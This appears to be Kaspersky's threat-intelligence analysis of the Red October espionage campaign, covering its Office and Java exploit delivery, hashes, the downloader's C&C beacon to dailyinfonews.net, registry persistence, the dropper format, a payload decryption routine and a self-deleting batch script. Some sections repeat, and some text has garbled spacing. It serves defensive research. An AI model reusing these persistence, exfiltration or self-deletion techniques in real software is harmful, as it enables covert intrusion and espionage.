Red October. Detailed Malware Description

Red October - Java Expl oi t Del i very Vector Anal ysi s -
Securel i st
: http://www.securelist.com/en/blog/208194086/Red_October_Java_Exploit_Delivery_Vector_Analysis
GReAT
Kaspersky Lab Expert
Posted J anuary 16, 13:00 GMT
Tags: Targeted Attacks, Cyber espionage, Vulnerabilities and exploits,
Spearphishing
Red October - Java Exploit Delivery Vector Analysis 0.6
Since the publication of our report, our colleagues from Seculert have discovered and posted a blog about the usage of
another delivery vector in the Red October attacks.
In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also
infiltrated victim network(s) via J ava exploitation (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known
as the 'Rhino' exploit (CVE-2011-3544).
We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent
with their approach in that it's not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim
systems were running an outdated version of J ava.
However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for
serving the '.jar' malcode archive, the line of code delivering the java exploit was commented out. Also, the related links,
java, and the executable payload are proving difficult to track down to this point.
The domain involved in the attack is presented only once in a public sandbox at malwr.com
(http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/), and only on February 14th, the very same day that they
registered the domain hotinfonews.com:
Domai n Name: HOTI NFONEWS. COM
Regi st r ant :
Pr i vat Per son
Deni s Gozol ov ( gozol ov@mai l . r u)
Nar va mnt 27
Tal l i nn
Tal l i nn, 10120
EE
Tel . +372. 54055298
Cr eat i on Dat e: 14- Feb- 2012
Expi r at i on Dat e: 14- Feb- 2013
Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the
many other Red October components.
We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days,
then didn't need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed
their infiltration and collection toolset to their victims' environment, had a need to shift to J ava from their usual
spearphishing techniques in early February 2012. And then they went back to their spear phishing.
Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting
with a governmental economic research institute in the Middle East.
So, this J ava Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that
delivers this file is very different from the common and related functionality that we see in the backdoors used throughout
the five year campaign.
The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the
URL strings within the exploit is delivered within the J ava applet itself. Here is our PHP encryption routine to encrypt the
Url for the downloader content:
And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter 'p':
Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads
the file from the URL and writes it to 'javaln.exe'. Notice that the strb and stra variables maintain the same strings as the
$files and $charset variables in the php script:
This "transfer" decryption routine returns a URL that is concatenated with the other variables, resulting in
"hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win". It is this content that is written to disk and executed on
the victim's machine. A description of that downloader follows. It is most interesting that this exploit/php combination's
encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests
that potentially this limited use package was developed separately from the rest for a specific target.
2nd stage of the attack: EXE, downloader
The second stage of the attack is downloaded from "http://www.hotinfonews.com/news/dailynews2.php" and executed by
the payload of the J ava exploit. It acts as a downloader for the next stage of the attack.
Known file location: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation
layer, the same as used in many Red October modules.
Obfuscation layer disassembled
The module creates a mutex named "MtxJ avaUpdateSln" and exits if it already exists.
After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on
startup:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
J avaUpdateSln=%full path to own executable%
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
J avaUpdateSln=%full path to own executable%
Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it
sends a HTTP POST request to the following sites:
www.microsoft.com
update.microsoft.com
www.google.com
Once a valid connection is established, it continues to its main loop.
C&C server connection loop
Every 180 seconds the module sends a HTTP POST request to its C&C server.
The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php
The contents of the post request follow the following format:
id=%unique user ID, retrieved from the overlay of the file%&
A=%integer, indicates whether the autorun registry key was written%&
B=%0 or 1, indicates if user has administrative rights%&
C=%integer, level of privilege assigned to the current user%
00000000 50 4f 53 54 20 68 74 74 70 3a 2f 2f 77 77 77 2e | POST ht t p: / / www. |
00000010 64 61 69 6c 79 69 6e 66 6f 6e 65 77 73 2e 6e 65 | dai l yi nf onews. ne|
00000020 74 3a 38 30 2f 72 65 70 6f 72 74 64 61 74 61 73 | t : 80/ r epor t dat as|
00000030 2e 70 68 70 20 48 54 54 50 2f 31 2e 30 0d 0a 48 | . php HTTP/ 1. 0. . H|
00000040 6f 73 74 3a 20 77 77 77 2e 64 61 69 6c 79 69 6e | ost : www. dai l yi n|
00000050 66 6f 6e 65 77 73 2e 6e 65 74 3a 38 30 0d 0a 43 | f onews. net : 80. . C|
00000060 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 | ont ent - l engt h: 6|
00000070 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a | 2. . Cont ent - Type: |
00000080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 | appl i cat i on/ x- w|
00000090 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 | ww- f or m- ur l encod|
000000a0 65 64 0d 0a 0d 0a 69 64 3d 41 41 41 39 33 39 35 | ed. . . . i d=AAA9395|
000000b0 37 35 32 39 35 33 31 32 35 30 35 31 34 30 32 36 | 7529531250514026|
000000c0 31 30 30 36 43 43 43 39 33 33 30 30 39 42 42 42 | 1006CCC933009BBB|
000000d0 31 36 35 34 31 35 31 33 26 41 3d 31 26 42 3d 31 | 16541513&A=1&B=1|
000000e0 26 43 3d 32 | &C=2|
HTTP POST request sent to the C&C server
The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid
EXE signature ("MZ") at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to
"%TEMP%\nvsvc%p%p.exe" (%p depends on system time) and executes it.
3rd stage of the attack: EXE, unknown
Currently, the C&C server is unavailable and we do not have the executables that were served to the "javaln.exe"
downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits.
Conclusions
As more information about the Red October becomes available and third parties are publishing their own research into the
attacks, it becomes clear that the scope of the operation is bigger than originally thought.
In addition to the J ava exploit presented here, it's possible that other delivery mechanisms were used during the 5 years
since this gang was active. For instance, we haven't seen any PDF exploits yet, which are very popular with other groups -
an unusual thing.
We will continue to monitor the situation and publish updates as the story uncovers.
Red October. Detai l ed Mal ware Descri pti on 1. Fi rst
Stage of Attack - Securel i st
: http://www.securelist.com/en/analysis/204792265/Red_October_Detailed_Malware_Description_1_First_Stage_of_Attack
Red October. Detailed Malware Description 1. First Stage of Attack
First stage of attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
Second stage of attack
1. Modules, general overview
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
7. Persistence group
8. Spreading group
9. Mobile group
10. Exfiltration group
1. Exploits
Based on the analysis of known cases, we identified two main ways through which Backdoor.Win32.Sputnik infects the
victims. Both methods rely on spear-phishing e-mails which are sent to the prospective victims. The e-mails contain an
attachment which is either an Excel or Word document, with enticing names. In addition to Office documents (CVE-2009-
3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation
(MD5:35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known as the 'Rhino' exploit (CVE-2011-3544).
The Red October infection diagram
The Excel-based exploit - CVE-2009-3129
This is the oldest known way for Red October to infect computers.
A list of some of the Excel file names can be found below:
File name: MD5:
Katyn_-_opinia_Rosjan.xls bd05475a538c996cd6cafe72f3a98fae
WORK PLAN (APRIL-JUNE 2011).xls f16785fc3650490604ab635303e61de2
EEAS-Staff New contact list (05-25-2011).xls 5f9b7a70ca665a54f8879a6a16f6adde
"tactlist_05-05-2011_.8634.xls EEAS New contact list (05-05-2011).xls " bb2f6240402f765a9d0d650b79cd2560
Agenda Telefoane institutii si ministere 2011.xls 4bfa449f1a351210d3c5b03ac2bd18b1
Agenda Telefoane institutii si ministere 2011 (2).xls 4ce5fd18b1d3f551a098bb26d8347ffb
FIEO contacts update.xls ec98640c401e296a76ab7f213164ef8c
spisok sotrudnikov.xls d98378db4016404ac558f9733e906b2b
List of shahids.xls dc4a977eaa2b62ad7785b46b40c61281
Spravochnik.xls 5ecec03853616e13475ac20a0ef987b6
Agenda Telefoane&Email institutii si ministere 2011.xls de56229f497bf51274280ef84277ea54
EEAS New contact list (05-05-2011) (2).xls 396d9e339c1fd2e787d885a688d5c646
FIEO contacts update.xls 7e5d9b496306b558ba04e5a4c5638f9f
Telephone.xls c42627a677e0a6244b84aa977fbea15d
List of shahids.xls 1f86299628bed519718478739b0e4b0c
BMAC Attache List - At 11 Oct_v1[1].XLS f0357f969fbaf798095b43c9e7a0cfa7
MERCOSUR_Imports.xls 50bd553568422cf547539dd1f49dd80d
Cpia de guia de telefonos (2).xls cee7bd726bc57e601c85203c5767293c
Programme de fetes 2011.xls ceac9d75b8920323477e8a4acdae2803
12 05 2011 updated.xls 639760784b3e26c1fe619e5df7d0f674
telefonebi.xls d71a9d26d4bb3b0ed189c79cd24d179a
telefonebi.xls dc8f0d4ecda437c3f870cd17d010a3f6
The Excel based exploit is detected by Kaspersky products as Trojan-Dropper.MSWord.Agent.ga. It was apparently used
mostly in 2011, with several samples being uploaded to VirusTotal by the victims. For a detection link of various products,
check:
https://www.virustotal.com/file/afaebb8055559ea6bf88
cedcd6fc7b93f02cde31a560876bcc4860fd0686739d/analysis
Several detections include:
Kaspersky Trojan-Dropper.MSWord.Agent.ga 20120808
McAfee Exploit-MSExcel.u 20120808
Microsoft Exploit:Win32/CVE-2009-3129 20120808
Symantec Bloodhound.Exploit.306 20120808
TrendMicro HEUR_OLEXP.B 20120808
The Excel file properties for all the exploits indicate it has been edited on a system with Simplified Chinese Excel. The
exploit appears to have been compiled on 26 Nov 2009:
EXIF METADATA ============= MIMEType : application/vnd.ms-excel
Company :
ModifyDate : 2009:11:26 03:35:15
TitleOfParts : Sheet1
SharedDoc : No
Author :
CodePage : Windows Simplified Chinese (PRC, Singapore)
Title :
AppVersion : 11.9999
LinksUpToDate : No
ScaleCrop : No
LastModifiedBy : qq
HeadingPairs : ??????, 1
HyperlinksChanged : No
CreateDate : 1996:12:17 01:32:42
Security : None
FileType : XLS
Software : Microsoft Excel
The exact exploit type used by Red October in the XLS files is CVE-2009-3129.
Exploit (CVE-2009-3129) information:
Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File
Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility
Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code
via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset,
aka "Excel Featheader Record Memory Corruption Vulnerability."
US-CERT info: https://www.us-cert.gov/cas/techalerts/TA09-314A.html
Patch: http://technet.microsoft.com/en-us/security/bulletin/ms09-nov
The vulnerability exploited by the Red October XLS dropper has been patched by Microsoft in November 2009.
The CVE-2009-3129 exploit and shellcode
Shellcode decryptor in XLS files
The Red October XLS CVE-2009-3129 exploit appears to have been originally developed by Chinese hackers. It was also
used in other, unrelated attacks against Tibetan activists and other entities. Its main purpose is to drop and execute a
Trojan, which for Red October is in the range of 500-600kB.
The shellcode receives control upon successful exploitation of the vulnerability and proceeds to decrypt itself. Once
decrypted, the shellcode in turn decrypts the main malware body (at offset 0x6600 in the XLS files). The malware is stored
in the Excel file at offset 0x6600, in encrypted form:
Encrypted malware payload in XLS files
The malware is encrypted with a simple XOR+ROR algorithm:
void decrypt(unsigned char *tbuf, unsigned long n, int round) { unsigned char b;
long i;
unsigned short ecx=0x400;
unsigned char a;
a=6;
for (i=0;i<1024;i++) {
b=tbuf[i];
b=b^ecx;
b = (b>>a) | (b<<(8-a));
tbuf[i]=b;
ecx--;
}
}
The shellcode writes the main top Trojan dropper to a file named Dcs.tmp and runs it. It will also extract a dummy Excel
file which will be shown to the user if the exploit was successful. The dummy Excel is named ~ .xls.
The Word-based exploit CVE-2010-3333
The CVE-2010-3333 Word-based exploit (RTF files) has been observed in September and October 2012. Example
filename / MD5 list related to the attack:
File name: MD5:
arexeio1.doc cb51ef3e541e060f0c56ac10adef37c3
Popa Tatiana -plngere.doc 6B23732895DAAAD4BD6EAE1D0B0FEF08
La Poltica de Defensa y el Poder Naval en Mxico OTAN (1).doc 44E70BCE66CDAC5DC06D5C0D6780BA45
Iran, Syria and the balance of power in the Middle East.doc 9F470A4B0F9827D0D3AE463F44B227DB
Diplomatic Staff list.doc 91EBC2B587A14EC914DD74F4CFB8DD0F
Diplomatic Car for Sale - MB 2000.doc 85BAEBED3D22FA63CE91FFAFCD7CC991
Rulers have hostaged parliament to further their personal interest (1).doc B9238737D22A059FF8DA903FBC69C352
..doc 2672FBBA23BF4F5E139B10CACC837E9F
the wife of Ambassador-2.doc 65D277AF039004146061FF01BB757A8F
.doc 731C68D2335E60107DF2F5AF18B9F4C9
31086823_cm04639-re02 en12.doc 9B55887B3E0C7F1E41D1ABDC32667A93
16 2012 ().doc A7330CE1B0F89AC157E335DA825B22C7
delegat.doc FC3C874BDAEDF731439BBE28FC2E6BBE
Davos2011_follow-up plan_heregjilt.doc 9950A027191C4930909CA23608D464CC
Participant list 6th Forum 09-12 update.doc C78253AEFCB35F94ACC63585D7BFB176
Draft 3_Conference Renewable energy cooperation and Grid integration.doc 5D1121EAC9021B5B01570FB58E7D4622
The Word based exploit is detected by Kaspersky products as Exploit.MSWord.CVE-2010-3333.bw. It was apparently used
mostly in 2012 (eg. October 2012), with one sample being uploaded to VirusTotal, probably by one of the victims. For a
detection link of various products, check:
https://www.virustotal.com/file/5fe53a960bc2031a185
c575ea05ac466f26739a34c651c14260e4cfbc123e87f/analysis/
Several detections include:
Kaspersky Exploit.MSWord.CVE-2010-3333.bw 20121012
McAfee - 20121012
Microsoft Exploit:Win32/CVE-2010-3333 20121012
Symantec - 20121012
TrendMicro - 20121012
The dropper is in fact an RTF file, with author John Doe, supposedly created by mocrosoft office word Msfedit
5.1.21.2500.
The same exploit / dropper have been observed in many other targeted attacks against for instance Tibetan activists. It
appears to be of Chinese origin just as the XLS exploit.
The exact exploit type used by Red October in these RTF files is CVE-2010-3333.
Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and
2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute
arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability."
MITRE: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333
CERT: http://www.us-cert.gov/cas/techalerts/TA10-313A.html
Microsoft: http://technet.microsoft.com/en-us/security/bulletin/ms10-nov
The vulnerability exploited by Red Octobers RTF documents was patched by Microsoft in November 2010.
The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in
case the exploit is successful.
Encrypted trojan body inside RTF files
The main Trojan body is encrypted XOR 0xFB and stored as hex text inside the RTF file. The shellcode decrypts the
main body and executes it.
The Word-based exploit CVE-2012-0158
In November 2012 weve noticed new attacks using document files that exploit CVE-2012-0158. This exploit has been
extremely popular with APT attacks during 2012 so its perhaps no surprise it was also adopted by the Red October gang.
Example filename / MD5 list related to the attack:
File name: MD5:
Mazda.doc 93d0222c8c7b57d38931cfd712523c67
Komorowski.doc 51edea56c1e83bcbc9f873168e2370af
Commercial Report for October.doc 114ed0e5298149fc69f6e41566e3717a
Russian terrorist attack.doc 350c170870e42dce1715a188ca20d73b
FLOC-meeting.doc 4daa2e7d3ac1a5c6b81a92f4a9ac21f1
3037.doc 82e518fb3a6749903c8dc17287cebbf8
8th_2012 Minutes of meeting.doc 3ded9a0dd566215f04e05340ccf20e0c
The CVE-2012-0158 exploit used in these attacks is mostly undetected by antivirus products at the time of writing of this
report. Kaspersky Lab products catch and block the exploit using the state of the art Automatic Exploit Prevention
technology.
The same exploit / dropper have been observed in many other targeted attacks against for instance Tibetan activists. It
appears to be of Chinese origin just as the other exploits.
The exact exploit type used by Red October in these RTF files is CVE-2012-0158.
The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common
Controls in Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3;
SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4,
2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote
attackers to execute arbitrary code via a crafted (a) web site, (b) Office document, or (c) .rtf file that triggers "system state"
corruption, as exploited in the wild in April 2012, aka "MSCOMCTL.OCX RCE Vulnerability.""
NIST: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0158
Microsoft: http://technet.microsoft.com/en-us/security/bulletin/ms12-027
The vulnerability exploited by these Red October RTF documents was patched by Microsoft in April 2012.
The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in
case the exploit is successful.
Encrypted Trojan dropper body in RTF files with CVE-2012-0158
The main Trojan body is encrypted XOR 0xDE and stored as hex text inside the RTF file. The shellcode simply writes the
main dropper to a file named msmx21.exe in the %TEMP% folder and runs it. It also extracts a fake document which is
shown to the victim if the exploit has been successful.
Fake document shown to the victim if exploit is successful
The Java based exploit - CVE-2011-3544
Since the publication of our report, our colleagues from Seculert have discovered and posted a blog about the usage of
another delivery vector in the Red October attacks.
In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also
infiltrated victim network(s) via Java exploitation (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known
as the 'Rhino' exploit (CVE-2011-3544).
We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent
with their approach in that it's not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim
systems were running an outdated version of Java.
However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for
serving the '.jar' malcode archive, the line of code delivering the java exploit was commented out. Also, the related links,
java, and the executable payload are proving difficult to track down to this point.
The domain involved in the attack is presented only once in a public sandbox at malwr.com
(http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/), and only on February 14th, the very same day that they
registered the domain hotinfonews.com:
Domain Name: HOTINFONEWS.COM
Registrant:
Privat Person
Denis Gozolov (gozolov@mail.ru)
Narva mnt 27
Tallinn
Tallinn,10120
EE
Tel. +372.54055298
Creation Date: 14-Feb-2012
Expiration Date: 14-Feb-2013
Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the
many other Red October components.
We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days,
then didn't need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed
their infiltration and collection toolset to their victims' environment, had a need to shift to Java from their usual
spearphishing techniques in early February 2012. And then they went back to their spear phishing.
Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting
with a governmental economic research institute in the Middle East.
So, this Java Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that
delivers this file is very different from the common and related functionality that we see in the backdoors used throughout
the five year campaign.
The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the
URL strings within the exploit is delivered within the Java applet itself. Here is our PHP encryption routine to encrypt the
Url for the downloader content:
And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter 'p':
Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads
the file from the URL and writes it to 'javaln.exe'. Notice that the strb and stra variables maintain the same strings as the
$files and $charset variables in the php script:
This "transfer" decryption routine returns a URL that is concatenated with the other variables, resulting in
"hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win". It is this content that is written to disk and executed on
the victim's machine. A description of that downloader follows. It is most interesting that this exploit/php combination's
encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests
that potentially this limited use package was developed separately from the rest for a specific target.
2nd stage of the Java exploit attack: EXE, downloader
The second stage of the attack is downloaded from "http://www.hotinfonews.com/news/dailynews2.php" and executed by
the payload of the Java exploit. It acts as a downloader for the next stage of the attack.
Known file location: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation
layer, the same as used in many Red October modules.
Obfuscation layer disassembled
The module creates a mutex named "MtxJavaUpdateSln" and exits if it already exists.
After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on
startup:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%full path to own executable%
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%full path to own executable%
Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it
sends a HTTP POST request to the following sites:
www.microsoft.com
update.microsoft.com
www.google.com
Once a valid connection is established, it continues to its main loop.
C&C server connection loop
Every 180 seconds the module sends a HTTP POST request to its C&C server.
The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php
The contents of the post request follow the following format:
id=%unique user ID, retrieved from the overlay of the file%&
A=%integer, indicates whether the autorun registry key was written%&
B=%0 or 1, indicates if user has administrative rights%&
C=%integer, level of privilege assigned to the current user%
00000000 50 4f 53 54 20 68 74 74 70 3a 2f 2f 77 77 77 2e |POST http://www.|
00000010 64 61 69 6c 79 69 6e 66 6f 6e 65 77 73 2e 6e 65 |dailyinfonews.ne|
00000020 74 3a 38 30 2f 72 65 70 6f 72 74 64 61 74 61 73 |t:80/reportdatas|
00000030 2e 70 68 70 20 48 54 54 50 2f 31 2e 30 0d 0a 48 |.php HTTP/1.0..H|
00000040 6f 73 74 3a 20 77 77 77 2e 64 61 69 6c 79 69 6e |ost: www.dailyin|
00000050 66 6f 6e 65 77 73 2e 6e 65 74 3a 38 30 0d 0a 43 |fonews.net:80..C|
00000060 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 |ontent-length: 6|
00000070 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a |2..Content-Type:|
00000080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 | application/x-w|
00000090 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 |ww-form-urlencod|
000000a0 65 64 0d 0a 0d 0a 69 64 3d 41 41 41 39 33 39 35 |ed....id=AAA9395|
000000b0 37 35 32 39 35 33 31 32 35 30 35 31 34 30 32 36 |7529531250514026|
000000c0 31 30 30 36 43 43 43 39 33 33 30 30 39 42 42 42 |1006CCC933009BBB|
000000d0 31 36 35 34 31 35 31 33 26 41 3d 31 26 42 3d 31 |16541513&A=1&B=1|
000000e0 26 43 3d 32 |&C=2|
HTTP POST request sent to the C&C server
The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid
EXE signature ("MZ") at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to
"%TEMP%\nvsvc%p%p.exe" (%p depends on system time) and executes it.
3rd stage of the Java exploit attack: EXE, unknown
Currently, the C&C server is unavailable and we do not have the executables that were served to the "javaln.exe"
downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits.
2. Dropper
The dropper module is a PE EXE file, compiled with Microsoft Visual Studio 2008. It is extracted and executed by one of
the exploits used to deliver the malware to the victim.
Known variants drop and execute the loader component named svchost.exe or svclogon.exe and one encrypted main
component file (see description of the loader component).
Main function
Registry key check
The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the serial number
of the system drive.
Then, it tries to read the default value of the registry key:
HKLM\Software\Classes\CLSID\generated_CLSID (if it has administrative rights)
HKCU\Software\Classes\CLSID\generated_CLSID (if it has no administrative rights)
It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to
the last DWORD of the files SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds
for 4294967294 times.
Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1s DWORD
and tries to read the registry value InfoTip from the same registry key. The registry value is assumed to be a 48-byte
binary buffer. It extracts a time parameter from that buffer and self-deletes if the difference between the recorded time and
current time is less than 3 days.
This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries
to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a
mechanism to escape from attention of power users or administrators who can run recently opened suspicious application
again and monitor its activity.
This check is identical to the one implemented in the loader module.
Installation routine
The module retrieves its resource of type AAA and name 000. The resource is then decrypted using a custom RC4-like
cipher with a hardcoded key.
Offset Type Description
0 DWORD If equal to 1, the dropper should self-delete and exit after processing the resource
4 DWORD If equal to 1, the dropper should exit after processing the resource
8 DWORD Delay in milliseconds before processing the resource
The resource header is followed by data entries each containing one file.
Offset Type Description
0 DWORD Record type
4 DWORD Size of the file name in bytes
8 DWORD Size of the file contents
12 DWORD Reserved, equal to 0x7D4
16 BYTE[] File name, Unicode
16 + size of the file name BYTE[] File contents
Every record is processed differently depending on the Record type value:
Record type Action
0x07 Write the file to disk
0x08 Write the file to disk and execute immediately with CreateProcess() API
0x09
0x0A
0x0D
0x0E
Write to predefined directory:
%System Directory%\wmispoold\%file name% (if has administrative rights)
%APPDATA%\wmispoold\%file name% (if has user only rights)
0x09 create new file and write to it
0x0A create new file, write and execute it
0x0D overwrite file
0x0E overwrite and execute file
Tries to terminate any running process that belongs to the file being
(over)written.
0x0B
Write to the first available directory from the hardcoded list (see below)
0x0B write file
0x0C
0x0C write and execute file
The module sets file creation/modification time equal to the one of the %windir%\system32\kernel32.dll file.
For record types 0x0B and 0x0C, the module tries to write the file to the first available directory from the list:
%ProgramFiles%\Windows NT\
%APPDATA%\Microsoft\
%ProgramFiles%\Windows NT\Accessories\
%ProgramFiles%\Windows NT\Pinball\
%ProgramFiles%\Windows Media Player\
%ProgramFiles%\Web Publish\
%ProgramFiles%\Outlook Express\
%ProgramFiles%\Microsoft Office\Office10\Data\
%ProgramFiles%\Microsoft Office\Office10\
%ProgramFiles%\Microsoft Frontpage\
%ProgramFiles%\Internet Explorer\
%ProgramFiles%\ComPlus Applications\
%ProgramFiles%\WindowsUpdate\
%CommonProgramFiles%\Microsoft Shared\MsInfo\
%CommonProgramFiles%\Microsoft Shared\Office10\
%CommonProgramFiles%\Proof\
%CommonProgramFiles%\Web Folders\
%CommonProgramFiles%\Web Server Extensions\
%CommonProgramFiles%\System\ado\
%CommonProgramFiles%\System\msadc\
%SystemDrive%\Documents and Settings\LocalService\
Application Data\Microsoft\ %SystemDrive%\Documents and Settings\
LocalService\
Local Settings\Application Data\Microsoft\
%ALLUSERSPROFILE%\Application Data\
%windir%\Installer\
%windir%\Help\Tours\mmTour\
%windir%\Help\Tours\htmTour\
%windir%\Help\Tours\WindowsMediaPlayer\
%windir%\IME\
%windir%\MsApps\
%windir%\MsApps\MsInfo\
%windir%\inf\
%ALLUSERSPROFILE%\Application Data\Microsoft\
%ALLUSERSPROFILE%\Application Data\Microsoft\Office\
%ALLUSERSPROFILE%\Application Data\Microsoft\Office\Data\
%ALLUSERSPROFILE%\Application Data\Microsoft\Windows\
%HOMEPATH%\Local Settings\
%APPDATA%\
%APPDATA%\Microsoft\Office\
%APPDATA%\Microsoft\Office\Data\
%APPDATA%\Microsoft\Windows\
%windir%\Temp\
%TMP%\
%TEMP%\
Post processing
The module deletes the following registry keys:
HKCU\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems
HKCU\Software\Microsoft\Office\11.0\Word\Resiliency\DisabledItems
This is done to erase the list of Microsoft Word documents that might need recovery, probably to avoid showing up the
document with exploit again if it crashed Microsoft Word process.
Self removal procedure
The dropper creates a file %TEMP%\msc.bat, executes it and exits, effectively self-deleting its body:
chcp 1251
:Repeat
attrib -a -s -h -r "%path to own executable file%"
del "%path to own executable file%"
if exist "%path to own executable file%" goto Repeat
del "%path to own executable file%"
Known variants
MD5 Compilation date (source) Compilation date (payload)
D784EAB30F85D2CDFB14ED1B0D98C98C 2011.07.06 07:41:01 (GMT) 2011.03.15 07:43:59 (GMT)
418B7A888484BDCBBA3B431ACC57B6AB 2011.09.22 04:52:59 (GMT) 2011.03.15 07:43:59 (GMT)
5C23DBF7B2BED5D54EADC47889EE1038 2011.06.23 09:53:26 (GMT) 2011.03.15 07:43:59 (GMT)
EA2765A3D9F865EF7546BA7F5F145E95 2011.06.30 08:26:29 (GMT) 2011.03.15 07:43:59 (GMT)
4A5F5C6E1AD30CF2799E3EA13468B3C2 2011.07.07 09:27:34 (GMT) 2011.03.15 07:43:59 (GMT)
A03CCD50DB47361E6BD9B05017372110 2011.04.21 10:47:12 (GMT) 2011.03.15 07:43:59 (GMT)
FA28873EFD2279E9AF79202E9A7E9398 2011.08.16 06:31:24 (GMT) 2011.03.15 07:43:59 (GMT)
4ACE8A18C8710B40FF9B47F29F82EAC7 2011.08.18 06:21:22 (GMT) 2011.03.15 07:43:59 (GMT)
204F7BFA78ED99E623DEF43BA0A188C9 2011.07.20 13:04:53 (GMT) 2011.03.15 07:43:59 (GMT)
